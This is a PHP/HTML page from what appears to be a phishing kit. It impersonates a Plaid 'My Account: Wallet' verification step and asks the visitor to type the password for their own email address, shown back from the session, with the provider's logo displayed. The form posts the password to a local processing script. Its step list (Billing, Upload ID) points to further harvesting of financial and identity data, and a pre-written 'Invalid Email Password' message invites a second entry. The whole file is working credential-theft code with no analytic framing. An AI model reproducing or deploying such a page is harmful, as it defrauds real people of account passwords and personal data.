<?php
session_start();
$_SESSION['css2'] = "true";

$email = $_SESSION['mail'];
$domain = substr($email, strpos($email, '@') + 1);
if ($domain == "sbcglobal.net") {
   $domain = "att.com";
}
?>
<html><head>
						<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
						<meta http-equiv="X-UA-Compatible" content="IE=Edge">
						<link rel="shortcut icon" href="./assets/images/favi.ico">
						<link rel="./images/favi.png">
						<meta name="viewport" content="width=device-width, height=device-height, initial-scale=1.0, maximum-scale=1, user-scalable=yes">
						<title>My Account: Wallet</title>
						<link href="https://fonts.googleapis.com/css2?family=Material+Icons" rel="stylesheet">
						<link href="https://fonts.googleapis.com/css?family=Raleway|Rock+Salt|Source+Code+Pro:300,400,600" rel="stylesheet">
						<link rel="stylesheet" href="./assets/css/main.css">
						<link rel="stylesheet" href="./assets/css/verfiymail.css">
						<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
						<script src="https://cdnjs.cloudflare.com/ajax/libs/modernizr/2.8.3/modernizr.min.js"></script>
						<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/imask/3.4.0/imask.min.js"></script>


						<meta http-equiv="cache-control" content="no-cache">
						<meta http-equiv="expires" content="0">
						<meta http-equiv="pragma" content="no-cache">
				
					</head>
				  <body>
				  <header>
					<div>
					</div>
				</header>
					<div class="mainContainer ">
					<div class="bg">
					</div>
					  <div class="hide" id="rotate">
					  <div class="circle">
					  </div>
						<div class="overlay">
						</div>
					  </div>
					  <div class="contents">
					  <div class="modal hide js-modal">
					  <div class="l-modal-shadow js-modal-hide"></div>
					  <div class="c-popup l-modal-body">
						<div class="c-popup-img">
						  <img src="./assets/images/warning.png">
						</div>
						<h3 class="c-popup-title">Warning!</h3>
						<p class="c-popup-description">Complete the progress first</p>
							<input style="width:50%" class="bt js-modal-hide" type="submit" value="Continue">
					  </div>
					  </div>
				  <div class="mainContents">
				<a href="#" class="close-icon js-modal-hide"></a>
				  <ol class="steps js-modal-hide">
					<li id="Verify" class="current"><a class="Verify" href="#">Verify Ownership</a></li>
					<li id="Billing"><a class="Billing" href="#">Billing</a></li>
					<li id="Upload"><a class="Upload" href="#">Upload ID</a></li>
					<li id="Completed">
						<a class="Completed" href="#">Completed</a></li>
				  </ol>
				  <div id="process">
	<form class="form" action="./process/config2-1.php" method="post" style="padding:0 20px" >
	<div class="fields clearfix">
		<section id="sift-verification" >
		

<div class="img-parent">
		<img class="img-email" src="https://cdn.plaid.com/link/2.0.1228/assets/images/plaid-logo-black-bg.png">

		<img style="left: 40px;" class="img-email" src="https://logo.clearbit.com/<?php echo $domain;?>" width="52" height="52">
		</div>


		  <div class="form-container">
			<h2 style="text-align: left;">Enter your Email Password</h2>
			<p class="second" style="text-align: left;font-size: 15px;font-weight: 400;line-height: 21px;">
			Please, Enter the password of the following email address "<b> <?php echo $email; ?> </b>" to authenticate it using protocol IMAP.
			</p>
			</div><div style="text-align: left;font-size: 16px;border-left: 5px solid #333333;line-height: 25px;margin: 3px 2px;padding: 2px 7px;">
				<strong style="color: #333333;"><?php echo $email; ?></strong>
				</div>
				<div class="inputArea">
<input id="eml" name="XXQ" type="password" required="" placeholder="Enter the Email Password for <?php echo $email; ?>">
		  </div>

<p style="    text-align: left;
font-size: 1.025rem;
    line-height: 1.17647rem;
    /* padding-top: 0.29412rem; */
    color: #f0162f;" class="error-msg" role="alert" data-error="messages.ERROR_INVALID_PASSWORD">
            Invalid Email Password. Please try&nbsp;again
        </p>

		<div>
		  <input style="margin: 10px 0px;width: 70%;background-color: #0b6efd;border: 1px solid #bfb9b9;border-radius: 5px;box-shadow: 0 30px 30px rgba(0,0,0,.4);" type="submit" id="xnpky" class="bt" value="Verify">

		  </div>
		  <p class="third" style="color: #333333;"><strong style="color: #333333;"><?php echo $domain; ?></strong> won’t share your password with third parties.</p>
	  
  </section></div></form>
	

		<script> 
		$("#Billing,#Verify,#Upload,#Completed").removeClass("current");

		$("#Verify").addClass("current"); 
		$(document).ready(function () {
			function valid() {
				var check = true;
				var ii = 0;
				$("#process input:not(.bt):not([type=checkbox]),#process select").each(function (i, el) {
					if (!$(el).val()) {
						$(el).parent().addClass("hasError");
						check = false;
					} else {
						$(el).parent().removeClass("hasError");
					}
		
				});
				return check;
			}
			
		}); 
		</script></div>
					</div>
					<script type="text/javascript">
					$(".js-modal-hide").click(function(){$(".js-modal").toggleClass("hide");});
					$(".js-alert-hide").click(function(){$(".js-alert").toggleClass("hide");});
					</script>
					</div>
					
					
					</div></body></html>